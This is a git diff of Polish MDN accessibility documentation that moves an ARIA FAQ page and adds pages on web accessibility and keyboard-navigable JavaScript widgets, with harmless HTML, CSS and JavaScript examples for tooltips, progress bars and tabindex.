Przykład kodu HTML z atrybutem aria-hidden ustawionym na wartość true.

+ +
<div class="text">
+    <label id="tp1-label" for="first">Pierwsze imię:</label>
+    <input type="text" id="first" name="first" size="20"
+           aria-labelledby="tp1-label"
+           aria-describedby="tp1"
+           aria-required="false" />
+    <div id="tp1" class="tooltip"
+         role="tooltip"
+         aria-hidden="true">Twoje pierwsze imię jest opcjonalne</div>
+</div>
+
+ +

Poniżej kod CSS dla powyższego przykładu.
+ Zwróć uwagę na to że nie użyto typowego selektora klasy, lecz selektora atrybutu  aria-hidden ustawionego na wartość "true".

+ +
div.tooltip[aria-hidden="true"] {
+  display: none;
+}
+
+ +

Kod JavaScript dla powyższego przykładu, aktualizujący atrybut  aria-hidden.

+ +
var showTip = function(el) {
+  el.setAttribute('aria-hidden', 'false');
+}
+ +

Zmiany ról

+ +
W budowie
+ +

ARIA pozwala programistom zadeklarować rolę semantyczną dla elementu, który w przeciwnym razie oferuje niepoprawną lub brak semantyki. Na przykład, gdy do utworzenia menu jest używana lista nie numerowana {{ HTMLElement("ul") }} powinien otrzymać atrybut role zdefiniowany jako menubar a każdy element listy {{ HTMLElement("li") }} powinien otrzymać atrybut role o wartości menuitem.

+ +

Atrybut role nie powinien być zmieniany. Zamiast tego usuń oryginalny element i zastąp go elementem z nową wartością atrybutu role.

+ +

Rozważmy przykład widgetu "edycji bezpośredniej": komponent który pozwala użytkownikom edytować fragment tekstu na miejscu, bez przełączania kontekstów . Ten komponent ma tryb "widok", gdzie tekst nie jest edytowalny, ale można go aktywować, oraz tryb "edycja", w którym tekst jest edytowalny. Deweloper może ulec pokusie, aby zaimplementować tryb "widok" używając elementu  {{ HTMLElement("input") }} tylko do odczytu, i ustawić jego ARIA atrybut role na wartość button, następnie po przęłączeniu w tryb "edycja" uczynić element zapisywalnym i usunąć atrybut w tym trybie atrybut role (ponieważ element {{ HTMLElement("input") }} ma własną semantykę ról).

+ +

Nie rób tego. Zaimplementuj tryb widoku przy użyciu zupełnie innego elementu, takiego jak {{ HTMLElement("div") }} albo {{ HTMLElement("span") }} z atrybutem role o wartości button, a tryb « edycja »  z użyciem elementu  {{ HTMLElement("input") }}.

+ +

Asynchroniczna zmiana trści

+ +
W budowie. Zobacz też Live Regions
+ +

Nawigacja klawiaturą

+ +

Często programiści pomijają obsługę klawiatury podczas tworzenia niestandardowych widżetów. Aby być dostępnym dla wielu użytkowników, wszystkie funkcje aplikacji internetowej lub widżetu powinny być sterowane za pomocą klawiatury, bez potrzeby korzystania z myszy. W praktyce zwykle wiąże się to z konwencjami obsługiwanymi przez podobne widżety na pulpicie, w pełni korzystając z klawiszy Tab, Enter, Spacja i klawiszy strzałek.

+ +

Tradycyjnie nawigacja po klawiaturze w sieci została ograniczona do klawisza Tab. Użytkownik naciśnie klawisz Tab, aby skupić się na każdym łączu, przycisku lub formularzu na stronie w liniowej kolejności, używając Shift-Tab, aby nawigować wstecz. Jest to jednowymiarowa forma nawigacji do przodu i do tyłu, jeden element na raz. Na dość gęstych stronach użytkownik klawiatury często musi kilkakrotnie nacisnąć klawisz Tab przed uzyskaniem dostępu do potrzebnej sekcji. Wdrożenie konwencji klawiatury w stylu komputera w Internecie może znacząco przyspieszyć nawigację dla wielu użytkowników.

+ +

Oto podsumowanie, jak powinna działać nawigacja klawiaturowa w aplikacji internetowej obsługującej ARIA:

+ + + +

Tak więc, dla przykładu widżetów zakładki powyżej, użytkownik powinien móc nawigować do kontenera widgetu (<ol> w naszym znaczniku) i wychodzić za pomocą klawiszy Tab i Shift-Tab. Po ustawieniu nawigacji klawiaturą w kontenerze klawisze strzałek powinny umożliwiać użytkownikowi nawigację między kartami (elementy <li>)Konwencje różnią się w zależności od platformy. W systemie Windows następna karta powinna być automatycznie aktywowana, gdy użytkownik naciśnie klawisze strzałek. W systemie Mac OS X użytkownik może nacisnąć klawisz Enter lub klawisz spacji, aby aktywować następną kartę. Szczegółowy samouczek do tworzenia Keyboard-navigable JavaScript widgets opisuje sposób implementacji tego zachowania za pomocą JavaScript.

+ +

Aby uzyskać więcej informacji na temat konwencji nawigacyjnych na klawiaturze w stylu komputerowym, należy zapoznać się z obszernym opisem DHTML style guideOpis zawiera przegląd nawigacji klawiaturowej dla każdego typu widżetu obsługiwanego przez ARIA. W3C oferuje również pomocne ARIA Best Practices dokument zawiera nawigację klawiaturową i konwencje skrótów dla różnych widżetów

+ +

Zobacz także

+ + diff --git a/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html b/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html deleted file mode 100644 index 35510946d6..0000000000 --- a/files/pl/web/accessibility/aria/aplikacje_internetowe_i_aria_faq/index.html +++ /dev/null @@ -1,299 +0,0 @@ ---- -title: Aplikacje internetowe i ARIA FAQ -slug: Web/Accessibility/ARIA/Aplikacje_internetowe_i_ARIA_FAQ -tags: - - ARIA -translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ ---- -

Czym jest ARIA?

- -

WAI-ARIA z angielskiego Accessible Rich Internet Applications (ARIA) dokumentacja stworzona przez Web Accessibility Initiative (WAI) z inicjatywy W3C. ARIA dostarcza sposób aby tworzyć aplikacje internetowe, lepiej dostępne dla osób zmagającymi się z różnorakimi problemami, włącznie z tymi, którzy muszą korzystać z dodatkowych narzędzi, które umożliwiają im użytkowanie stron internetowych takich jak: czytniki ekranowe czy szkła powiększające.

- -

ARIA dostarcza semantykę opisującą role (eng. roles), statusy (eng. states) oraz funkcjonalności dla wielu komponentów stron internetowych takich jak: nawigacje (menu), slajdery, okna dialogowe czy drzewa rozwijane (częściej występujące w aplikacjach desktopowych). Dostarcza również informacje strukturalne, które pomagają twórcom identyfikować odpowiednie komponenty. ARIA pozwala dynamicznym aplikacjom internetowym opartym o JavaScript na interpolację z technologiami pochodzenia desktopowego.

- -

Po więcej informacji na temat ARIA, przejdź do: Overview of accessible web applications and widgets. (TBD Polish translation).

- -

Wsparcie dla ARIA

- -

ARIA jest relatywnie młodą specyfikacją ale jest coraz lepiej wspierana. Posiada wsparcie głównych przeglądarek, technologii wspomagających, narzędzi JavaScript oraz aplikacji. Jednakże część użytkowników może wciąż używać starszych wersji tych narzędzi czy aplikacji. W takim przypadku możesz rozważyć implementację ARIA ulepszając swoją aplikację progresywnie, na przykład przy użyciu JavaScript, zamiast znaczników HTML w celu lepszego wsparcia dla użytkowników wciąż kożystających ze starych technologii.

- -

Przeglądarki

- -

ARIA posiada wsparcie następujacych przeglądarek:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NazwaWersja minimumInformacja dodatkowa
Firefox3.0+Działa z NVDA, JAWS 10+ i Orca
Chrome15+Czytniki ekranowe mogą mieć problem z Chrome 15 i starszymi
Safari4+Działa z VoiceOver od iOS5 oraz OS X Lion
Opera9.5+Wymaga VoiceOver na OS X w początkowych wersjach
Internet Explorer8+Działa z JAWS 10+ i NVDA.
- -

W niektórych przypadkach, we wczesnych wersjach przeglądarek, wsparcie ARIA może być ograniczone, po bardziej dokładne informacje udaj się na:

- - - -

Technologie wspomagające

- -

Technologie wspomagające coraz częściej wspierają ARIA. Między innymi:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nazwa TechnologiiWersja minimum, podstawowe wsparcie ARIAWersja minimum dla live region i alert support
NVDA2010.2
- (NVDA is always a free upgrade)
2011.1 dla Firefox, brak wsparcia live region dla IE z dniem 2011.2.
Orca? (TBD)? (TBD)
VoiceOverOSX 10.5,
- iOS 4
OS X 10.7
- iOS 5
JAWS810
Window-Eyes7? (TBD)
ZoomText?? (TBD)
- -

Wczesne wersje tych narzędzi często mają częściową implementację ARIA lub zawierającą błędy.

- -

Na temat wsparcia JAWS dla ARIA, przeczytaj artykuł Paciello Group: JAWS Support for ARIA.

- -

Narzędzia JavaScript

- -

Role (roles), statusy (states), właściwości (properties) zostały dodane do wielu popularnych narzędzi JavaScript do tworzenia komponentów webowych, między innymi:

- - - -

Po więcej informacji na temat dostępności ARIA w narzędziach JavaScript, przeczytaj:

- - - -

ARIA w akcji

- -

Przykład atrybutu ARIA dla paska postępu:

- -
<div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" />
- -

Ten pasek postępu jest zbudowany z <div> z atrybutami ARIA określającymi role i właściwości. W tym przykładzie role="progressbar" daje informację przeglądarce, że działanie paska postępu jest sterowane w JavaScript. Atrybuty aria-valuemin oraz aria-valuemax określają minimalną i maksymalną wartość dla paska postępu, a aria-valuenow opisuje aktualny jego status.

- -

Atrybuty ARIA umieszczone wewnątrz tagu HTML mogą być dodawane i aktualizowane w JavaScript, kod poniżej:

- -
// Szukam elementu <div> w DOM.
-var progressBar = document.getElementById("percent-loaded");
-
-// Ustawiam role i statusy ARIA, aby technologie pomocnicze miały informację na temat komponentu.
-progressBar.setAttribute("role", "progressbar");
-progressBar.setAttribute("aria-valuemin", 0);
-progressBar.setAttribute("aria-valuemax", 100);
-
-// Tworzę funkcję aktualizującą pasek postępu,
-// którą następnie wywołam w odpowiednim miejscu aby zaktualizować pasek postępu
-function updateProgress(percentComplete) {
-  progressBar.setAttribute("aria-valuenow", percentComplete);
-}
- -

Czy ARIA zmieni styl mojej strony lub działanie?

- -

Nie. ARIA jest przeznaczona tylko dla API technologi pomocniczych (assistive technologies), nie ma wpływu na DOM czy style. ARIA jest tylko dodatawanym do elementu HTML przez developera atrybutem, który ma wspomóc AT API (assistive technologi API). Mimo, że sama ARIA nie zmienia stylów to w połączeniu z atrybutem HTML, możemy odpowiednio stylować elementy ARIA w CSS:

- -
.tab-panel[aria-hidden="true"] {
-  display: none;
-  }
-
-.tab-panel[aria-hidden="false"] {
-  display: block;
-  }
-
- -

Co z walidacją?

- -

Nowe atrybuty ARIA, jak role czy prefiks aria- nie są oficjalnie częścią specyfikacji HTML 4 czy XHTML 4. Przez co mogą nie przechodzić walidacji W3C: W3C's Markup Validator.

- -

Jednym z rozwiązań tego problemu jest umieszczenie roli i statusów ARIA przy pomocy JavaScript jak zostało pokazane w powyższym przykładzie ARIA w akcji. Strona teoretycznie będzie niezgodna ze standardem ale przejdzie walidację.

- -

Problem rozwiązuje się w HTML5, który zawiera wbudowane wsparcie dla ARIA. Walidator W3C's HTML5 znajdzie nawet nieprawidłowe użycie ARIA na stronie HTML5.

- -

Co w związku z HTML5 i ARIA?

- -

HTML5 przedstawia wiele nowych tagów. Kilka z nich dotyczy bezpośrednio roli ARIA, jak na przykład nowy element <progress>. W przypadkach gdy przeglądarka wspiera tag HTML5 to również dotyczy ARIA, w takich przypadkach zazwyczaj nie ma potrzeby dodawania ról i statusów do elementu. ARIA zawiera jednak wiele ról, statusów i właściwości, które nie są dostępne w HTML5. W takim przypadku developer HTML5 może z nich korzystać. Po więcej informacji można się udać do artykułu Steve'a Faulkner'a o relacji HTML5 i ARIA.

- -

Łagodne zejście z HTML5 do ARIA

- -

Przy tworzeniu aplikacji kompatybilnej HTML5 możesz zastosować w swoim kodzie łagodne zejście do ARIA w przypadku braku wsparcia dla przeglądarku. Używając przykładu z paskiem postępu, zastosować łagodne zejście, gdy tag <progressbar> nie jest wspierany.

- -

Przykład markupu HTML5 dla paska postępu:

- -
<!DOCTYPE html>
-<html>
-  <head><title>Gracefully degrading progress bar</title></head>
-  <body>
-    <progress id="progress-bar" value="0" max="100">0% complete</progress>
-    <button id="update-button">Update</button>
- </body>
-</html>
-
- -

... i kod JavaScript zapewniający wsparcie dla starszych przeglądarek:

- -
var progressBar = document.getElementById("progress-bar");
-
-// Sprawdza wsparcie tagu <progress> dla przeglądarki.
-var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined");
-
-function setupProgress() {
-  if (!supportsHTML5Progress) {
-    // HTML5 <progress> nie jest wspierany więc dodaje.
-    // ARIA role i statusy do elementu.
-    progressBar.setAttribute("role", "progressbar");
-    progressBar.setAttribute("aria-valuemin", 0);
-    progressBar.setAttribute("aria-valuemax", 100);
-  }
-}
-
-function updateProgress(percentComplete) {
-  if (!supportsHTML5Progress) {
-    // HTML5 <progress> nie jest wspierany przez przeglądarkę,
-    // więc musimy zaktualizować aria-valuenow atrybut
-    progressBar.setAttribute("aria-valuenow", percentComplete);
-  } else {
-    // HTML5 <progress> jest wspierany, więc aktualizujemy atrybut value.
-    progressBar.setAttribute("value", percentComplete);
-  }
-
-  progressBar.textContent = percentComplete + "% complete";
-}
-
-function initDemo() {
-  setupProgress(); // Instalacja paska postępu.
-
-  // Dodajemy click handler do przycisku, który zaktualizuje pasek postępu do 75%.
-  document.getElementById("update-button").addEventListener("click", function (e) {
-    updateProgress(75);
-    e.preventDefault();
-  }, false);
-}
-initDemo();
-
- -

Jak działają technologie pomocnicze (assistive technologies)?

- -

Technologie pomocnicze używają używają API wbudowane w każdy system operacyjny, zaprojektowane tak aby opisywać role, statusy oraz strukturę interfejsu użytkownika. Na przykład: czytnik ekranu używa API do czytania interfejsu użytkownika przy pomocy silnika text-to-speech (tekst do mowy), a szkło powiększające używa go do uwyraźnienia  ważnych elementów na ekranie,  klawiatura ekranowa może używać API aby dostosować się do aktualnego kontekstu lub interfejsu. Technologie pomocnicze często korzystają z DOM przez API, aby najlepiej zrozumieć semantykę i atrybuty na stronie.

- -

ARIA jest mostem pomiędzy DOM a desktopem. Przeglądarki wskazują elementy ARIA do API technologii pomocniczych aby wyglądały jak komponenty natywne. W rezultacie użytkownik dostaje bardziej zwarty UX, gdzie komponenty JavaScript można porównywać do odpowiedników desktopowych.

- -

Jak można przetestować ARIA? Są do tego darmowe narzędzia?

- -

Istnieją narzędzia do sprawdzania i debugowania ARIA:

- - - -

Są również darmowe open source'owe czytniki ekranu, które mogą być użyte do testowania ARIA:

- - - -

Kiedy testujesz ARIA pamiętaj:

- -
    -
  1. Nieformalne testowanie przy pomocy czytników ekranu, nigdy nie zastąpi informacji zwrotnej, testowania i pomocy prawdziwych użytkowników
  2. -
  3. Czytniki ekranu to nie wszystko. Spróbuj testować przy pomocy różnych metod użyczyteczności i dostępności.
  4. -
- -

Inne pomocne narzędzia i techniki testowania ARIA:

- - - -

Gdzie można pogadać i dopytać o ARIA?

- - - -

Gdzie się więcej dowiem o ARIA?

- - diff --git a/files/pl/web/accessibility/aria/web_applications_and_aria_faq/index.html b/files/pl/web/accessibility/aria/web_applications_and_aria_faq/index.html new file mode 100644 index 0000000000..35510946d6 --- /dev/null +++ b/files/pl/web/accessibility/aria/web_applications_and_aria_faq/index.html @@ -0,0 +1,299 @@ +--- +title: Aplikacje internetowe i ARIA FAQ +slug: Web/Accessibility/ARIA/Aplikacje_internetowe_i_ARIA_FAQ +tags: + - ARIA +translation_of: Web/Accessibility/ARIA/Web_applications_and_ARIA_FAQ +--- +

Czym jest ARIA?

+ +

WAI-ARIA z angielskiego Accessible Rich Internet Applications (ARIA) dokumentacja stworzona przez Web Accessibility Initiative (WAI) z inicjatywy W3C. ARIA dostarcza sposób aby tworzyć aplikacje internetowe, lepiej dostępne dla osób zmagającymi się z różnorakimi problemami, włącznie z tymi, którzy muszą korzystać z dodatkowych narzędzi, które umożliwiają im użytkowanie stron internetowych takich jak: czytniki ekranowe czy szkła powiększające.

+ +

ARIA dostarcza semantykę opisującą role (eng. roles), statusy (eng. states) oraz funkcjonalności dla wielu komponentów stron internetowych takich jak: nawigacje (menu), slajdery, okna dialogowe czy drzewa rozwijane (częściej występujące w aplikacjach desktopowych). Dostarcza również informacje strukturalne, które pomagają twórcom identyfikować odpowiednie komponenty. ARIA pozwala dynamicznym aplikacjom internetowym opartym o JavaScript na interpolację z technologiami pochodzenia desktopowego.

+ +

Po więcej informacji na temat ARIA, przejdź do: Overview of accessible web applications and widgets. (TBD Polish translation).

+ +

Wsparcie dla ARIA

+ +

ARIA jest relatywnie młodą specyfikacją ale jest coraz lepiej wspierana. Posiada wsparcie głównych przeglądarek, technologii wspomagających, narzędzi JavaScript oraz aplikacji. Jednakże część użytkowników może wciąż używać starszych wersji tych narzędzi czy aplikacji. W takim przypadku możesz rozważyć implementację ARIA ulepszając swoją aplikację progresywnie, na przykład przy użyciu JavaScript, zamiast znaczników HTML w celu lepszego wsparcia dla użytkowników wciąż kożystających ze starych technologii.

+ +

Przeglądarki

+ +

ARIA posiada wsparcie następujacych przeglądarek:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NazwaWersja minimumInformacja dodatkowa
Firefox3.0+Działa z NVDA, JAWS 10+ i Orca
Chrome15+Czytniki ekranowe mogą mieć problem z Chrome 15 i starszymi
Safari4+Działa z VoiceOver od iOS5 oraz OS X Lion
Opera9.5+Wymaga VoiceOver na OS X w początkowych wersjach
Internet Explorer8+Działa z JAWS 10+ i NVDA.
+ +

W niektórych przypadkach, we wczesnych wersjach przeglądarek, wsparcie ARIA może być ograniczone, po bardziej dokładne informacje udaj się na:

+ + + +

Technologie wspomagające

+ +

Technologie wspomagające coraz częściej wspierają ARIA. Między innymi:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nazwa TechnologiiWersja minimum, podstawowe wsparcie ARIAWersja minimum dla live region i alert support
NVDA2010.2
+ (NVDA is always a free upgrade)
2011.1 dla Firefox, brak wsparcia live region dla IE z dniem 2011.2.
Orca? (TBD)? (TBD)
VoiceOverOSX 10.5,
+ iOS 4
OS X 10.7
+ iOS 5
JAWS810
Window-Eyes7? (TBD)
ZoomText?? (TBD)
+ +

Wczesne wersje tych narzędzi często mają częściową implementację ARIA lub zawierającą błędy.

+ +

Na temat wsparcia JAWS dla ARIA, przeczytaj artykuł Paciello Group: JAWS Support for ARIA.

+ +

Narzędzia JavaScript

+ +

Role (roles), statusy (states), właściwości (properties) zostały dodane do wielu popularnych narzędzi JavaScript do tworzenia komponentów webowych, między innymi:

+ + + +

Po więcej informacji na temat dostępności ARIA w narzędziach JavaScript, przeczytaj:

+ + + +

ARIA w akcji

+ +

Przykład atrybutu ARIA dla paska postępu:

+ +
<div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" />
+ +

Ten pasek postępu jest zbudowany z <div> z atrybutami ARIA określającymi role i właściwości. W tym przykładzie role="progressbar" daje informację przeglądarce, że działanie paska postępu jest sterowane w JavaScript. Atrybuty aria-valuemin oraz aria-valuemax określają minimalną i maksymalną wartość dla paska postępu, a aria-valuenow opisuje aktualny jego status.

+ +

Atrybuty ARIA umieszczone wewnątrz tagu HTML mogą być dodawane i aktualizowane w JavaScript, kod poniżej:

+ +
// Szukam elementu <div> w DOM.
+var progressBar = document.getElementById("percent-loaded");
+
+// Ustawiam role i statusy ARIA, aby technologie pomocnicze miały informację na temat komponentu.
+progressBar.setAttribute("role", "progressbar");
+progressBar.setAttribute("aria-valuemin", 0);
+progressBar.setAttribute("aria-valuemax", 100);
+
+// Tworzę funkcję aktualizującą pasek postępu,
+// którą następnie wywołam w odpowiednim miejscu aby zaktualizować pasek postępu
+function updateProgress(percentComplete) {
+  progressBar.setAttribute("aria-valuenow", percentComplete);
+}
+ +

Czy ARIA zmieni styl mojej strony lub działanie?

+ +

Nie. ARIA jest przeznaczona tylko dla API technologi pomocniczych (assistive technologies), nie ma wpływu na DOM czy style. ARIA jest tylko dodatawanym do elementu HTML przez developera atrybutem, który ma wspomóc AT API (assistive technologi API). Mimo, że sama ARIA nie zmienia stylów to w połączeniu z atrybutem HTML, możemy odpowiednio stylować elementy ARIA w CSS:

+ +
.tab-panel[aria-hidden="true"] {
+  display: none;
+  }
+
+.tab-panel[aria-hidden="false"] {
+  display: block;
+  }
+
+ +

Co z walidacją?

+ +

Nowe atrybuty ARIA, jak role czy prefiks aria- nie są oficjalnie częścią specyfikacji HTML 4 czy XHTML 4. Przez co mogą nie przechodzić walidacji W3C: W3C's Markup Validator.

+ +

Jednym z rozwiązań tego problemu jest umieszczenie roli i statusów ARIA przy pomocy JavaScript jak zostało pokazane w powyższym przykładzie ARIA w akcji. Strona teoretycznie będzie niezgodna ze standardem ale przejdzie walidację.

+ +

Problem rozwiązuje się w HTML5, który zawiera wbudowane wsparcie dla ARIA. Walidator W3C's HTML5 znajdzie nawet nieprawidłowe użycie ARIA na stronie HTML5.

+ +

Co w związku z HTML5 i ARIA?

+ +

HTML5 przedstawia wiele nowych tagów. Kilka z nich dotyczy bezpośrednio roli ARIA, jak na przykład nowy element <progress>. W przypadkach gdy przeglądarka wspiera tag HTML5 to również dotyczy ARIA, w takich przypadkach zazwyczaj nie ma potrzeby dodawania ról i statusów do elementu. ARIA zawiera jednak wiele ról, statusów i właściwości, które nie są dostępne w HTML5. W takim przypadku developer HTML5 może z nich korzystać. Po więcej informacji można się udać do artykułu Steve'a Faulkner'a o relacji HTML5 i ARIA.

+ +

Łagodne zejście z HTML5 do ARIA

+ +

Przy tworzeniu aplikacji kompatybilnej HTML5 możesz zastosować w swoim kodzie łagodne zejście do ARIA w przypadku braku wsparcia dla przeglądarku. Używając przykładu z paskiem postępu, zastosować łagodne zejście, gdy tag <progressbar> nie jest wspierany.

+ +

Przykład markupu HTML5 dla paska postępu:

+ +
<!DOCTYPE html>
+<html>
+  <head><title>Gracefully degrading progress bar</title></head>
+  <body>
+    <progress id="progress-bar" value="0" max="100">0% complete</progress>
+    <button id="update-button">Update</button>
+ </body>
+</html>
+
+ +

... i kod JavaScript zapewniający wsparcie dla starszych przeglądarek:

+ +
var progressBar = document.getElementById("progress-bar");
+
+// Sprawdza wsparcie tagu <progress> dla przeglądarki.
+var supportsHTML5Progress = (typeof (HTMLProgressElement) !== "undefined");
+
+function setupProgress() {
+  if (!supportsHTML5Progress) {
+    // HTML5 <progress> nie jest wspierany więc dodaje.
+    // ARIA role i statusy do elementu.
+    progressBar.setAttribute("role", "progressbar");
+    progressBar.setAttribute("aria-valuemin", 0);
+    progressBar.setAttribute("aria-valuemax", 100);
+  }
+}
+
+function updateProgress(percentComplete) {
+  if (!supportsHTML5Progress) {
+    // HTML5 <progress> nie jest wspierany przez przeglądarkę,
+    // więc musimy zaktualizować aria-valuenow atrybut
+    progressBar.setAttribute("aria-valuenow", percentComplete);
+  } else {
+    // HTML5 <progress> jest wspierany, więc aktualizujemy atrybut value.
+    progressBar.setAttribute("value", percentComplete);
+  }
+
+  progressBar.textContent = percentComplete + "% complete";
+}
+
+function initDemo() {
+  setupProgress(); // Instalacja paska postępu.
+
+  // Dodajemy click handler do przycisku, który zaktualizuje pasek postępu do 75%.
+  document.getElementById("update-button").addEventListener("click", function (e) {
+    updateProgress(75);
+    e.preventDefault();
+  }, false);
+}
+initDemo();
+
+ +

Jak działają technologie pomocnicze (assistive technologies)?

+ +

Technologie pomocnicze używają używają API wbudowane w każdy system operacyjny, zaprojektowane tak aby opisywać role, statusy oraz strukturę interfejsu użytkownika. Na przykład: czytnik ekranu używa API do czytania interfejsu użytkownika przy pomocy silnika text-to-speech (tekst do mowy), a szkło powiększające używa go do uwyraźnienia  ważnych elementów na ekranie,  klawiatura ekranowa może używać API aby dostosować się do aktualnego kontekstu lub interfejsu. Technologie pomocnicze często korzystają z DOM przez API, aby najlepiej zrozumieć semantykę i atrybuty na stronie.

+ +

ARIA jest mostem pomiędzy DOM a desktopem. Przeglądarki wskazują elementy ARIA do API technologii pomocniczych aby wyglądały jak komponenty natywne. W rezultacie użytkownik dostaje bardziej zwarty UX, gdzie komponenty JavaScript można porównywać do odpowiedników desktopowych.

+ +

Jak można przetestować ARIA? Są do tego darmowe narzędzia?

+ +

Istnieją narzędzia do sprawdzania i debugowania ARIA:

+ + + +

Są również darmowe open source'owe czytniki ekranu, które mogą być użyte do testowania ARIA:

+ + + +

Kiedy testujesz ARIA pamiętaj:

+ +
    +
  1. Nieformalne testowanie przy pomocy czytników ekranu, nigdy nie zastąpi informacji zwrotnej, testowania i pomocy prawdziwych użytkowników
  2. +
  3. Czytniki ekranu to nie wszystko. Spróbuj testować przy pomocy różnych metod użyczyteczności i dostępności.
  4. +
+ +

Inne pomocne narzędzia i techniki testowania ARIA:

+ + + +

Gdzie można pogadać i dopytać o ARIA?

+ + + +

Gdzie się więcej dowiem o ARIA?

+ + diff --git a/files/pl/web/accessibility/index.html b/files/pl/web/accessibility/index.html new file mode 100644 index 0000000000..801f0d62ac --- /dev/null +++ b/files/pl/web/accessibility/index.html @@ -0,0 +1,94 @@ +--- +title: Dostępność +slug: Web/Dostępność +tags: + - Dostępność +translation_of: Web/Accessibility +--- +
+

"Dostępność (ang. accessibility) - nauka oraz zbiór standardów opisujących metody i wytyczne tworzenia serwisów WWW w sposób umożliwiający wygodny dostęp jak najszerszemu gronu odbiorców. Dostępne serwisy mogą być bez trudu wykorzystywane przez osoby niewidzące, niedowidzące, użytkowników mniej popularnych wyszukiwarek czy platform mobilnych." Artykuł o Dostępności na Wikipedii

+
+ + + + + + + + +
+

Przewodniki

+ +
+
Czym jest dostępność?
+
Niniejszy artykuł stanowi wstęp do modułu i jednocześnie obszerną odpowiedź na pytanie, czym właściwie jest dostępność - w tym jakie grupy ludzi powinniśmy brać pod uwagę i dlaczego, jakich narzędzi używają oni do interakcji z siecią oraz jak uczynić dostęność częścią naszej organizacji zadań.
+
+ +

Dokumentacja

+ +
+
Kurs Usability
+
Materiały opisujące zagadnienia związane z użytecznością, dostępnością oraz efektywnością serwisów WWW.
+
+ +
+
W głąb dostępności
+
Niniejsza książka odpowiada na dwa pytania. Pierwsze brzmi: "Dlaczego powinienem uczynić swoją stronę WWW bardziej dostępną?" Jeżeli nie masz strony w sieci, ta książka nie jest dla Ciebie. Drugie pytanie to "Jak mogę uczynić moją stronę bardziej dostępną?" Jeżeli nie zostaniesz przekonany przez odpowiedź na pierwsze pytanie, nie będziesz zainteresowany odpowiedzią na drugie.
+
+ +
+
Web Accessibility po polsku
+
Dostępność w projektowaniu stron internetowych oznacza tworzenie takich dokumentów, które są czytelne i funkcjonalne dla wszystkich użytkowników niezależnie od ich fizycznych ograniczeń, sytuacji w jakiej się znajdują, a także używanego oprogramowania oraz sprzętu.
+
+ +
+
Software Accessibility Today
+
The accessibility of computer software has seen drastic improvements over the past two decades. This article reviews the progress and technology as it has developed.
+
+ +
+
Key-navigable custom DHTML widgets, in Mozilla and IE
+
Until now, web developers who want to make their styled <div> and <span> based widgets keyboard accessible have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements of which any web developer should be aware.
+
+ +
+
Accessible Web Page Authoring
+
A handy web accessibility checklist, from IBM.
+
+ +


+ Pokaż wszystkie...

+
+

Społeczność

+ + + +

Narzędzia

+ + + +

Pokaż wszystkie...

+ +

Powiązane tematy

+ +
+
Programowanie WWW, Standardy WWW, XUL
+
+ + +
+ +

 

+ +

+

Categories

+ + +

Interwiki Language Links

diff --git a/files/pl/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/pl/web/accessibility/keyboard-navigable_javascript_widgets/index.html new file mode 100644 index 0000000000..3dd7d0f983 --- /dev/null +++ b/files/pl/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -0,0 +1,171 @@ +--- +title: Keyboard-navigable JavaScript widgets +slug: Web/Dostępność/Keyboard-navigable_JavaScript_widgets +tags: + - Accessibility + - DOM + - Navigation +translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets +--- +

Overview

+ +

Web applications often use JavaScript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. These widgets are typically composed of {{ HTMLElement("div") }} and {{ HTMLElement("span") }} elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. This document describes techniques to make JavaScript widgets accessible with the keyboard.

+ +

Using tabindex

+ +

By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the tabindex global attribute, authors can make other elements focusable, too. When set to 0, the element becomes focusable by keyboard and script. When set to -1, the element becomes focusable by script, but it does not become part of the keyboard focus order.

+ +

The order in which elements gain focus when using a keyboard, is the source order by default. In exceptional circumstances, authors may want to redefine the order. To do this, authors can set tabindex to any positive number.

+ +
+

Warning: avoid using positive values for tabindex.  Elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex.

+
+ +

The following table describes tabindex behavior in modern browsers:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
tabindex attributeFocusable with mouse or JavaScript via element.focus()Tab navigable
not presentFollows the platform convention of the element (yes for form controls, links, etc.).Follows the platform convention of the element.
Negative (i.e. tabindex="-1")YesNo; author must focus the element with focus() in response to arrow or other key presses.
Zero (i.e. tabindex="0")YesIn tab order relative to element's position in document (note that interactive elements like {{ HTMLElement("a") }} have this behavior by default, they don't need the attribute).
Positive (e.g. tabindex="33")Yestabindex value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, tabindex="7" will be positioned before tabindex="11").
+ +

Non-native controls

+ +

Native HTML elements that are interactive, like {{ HTMLElement("a") }}, {{ HTMLElement("input") }} and {{ HTMLElement("select") }}, are already accessible by keyboards, so to use one of them is the fastest path to make components work with keyboards.

+ +

Authors can also make a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} keyboard accessible by adding a tabindex of 0. This is particularly useful for components that use interactive elements that do not exist in HTML.

+ +

Grouping controls

+ +

For grouping widgets such as menus, tablists, grids, or tree views, the parent element should be in the tab order (tabindex="0"), and each descendent choice/tab/cell/row should be removed from the tab order (tabindex="-1"). Users should be able to navigate the descendent elements using arrow keys. (For a full description of the keyboard support that is normally expected for typical widgets, see the WAI-ARIA Authoring Practices.)

+ +

The example below shows this technique used with a nested menu control. Once keyboard focus lands on the containing {{ HTMLElement("ul") }} element, the JavaScript developer must programmatically manage focus and respond to arrow keys. For techniques for managing focus within widgets, see "Managing focus inside groups" below.

+ +

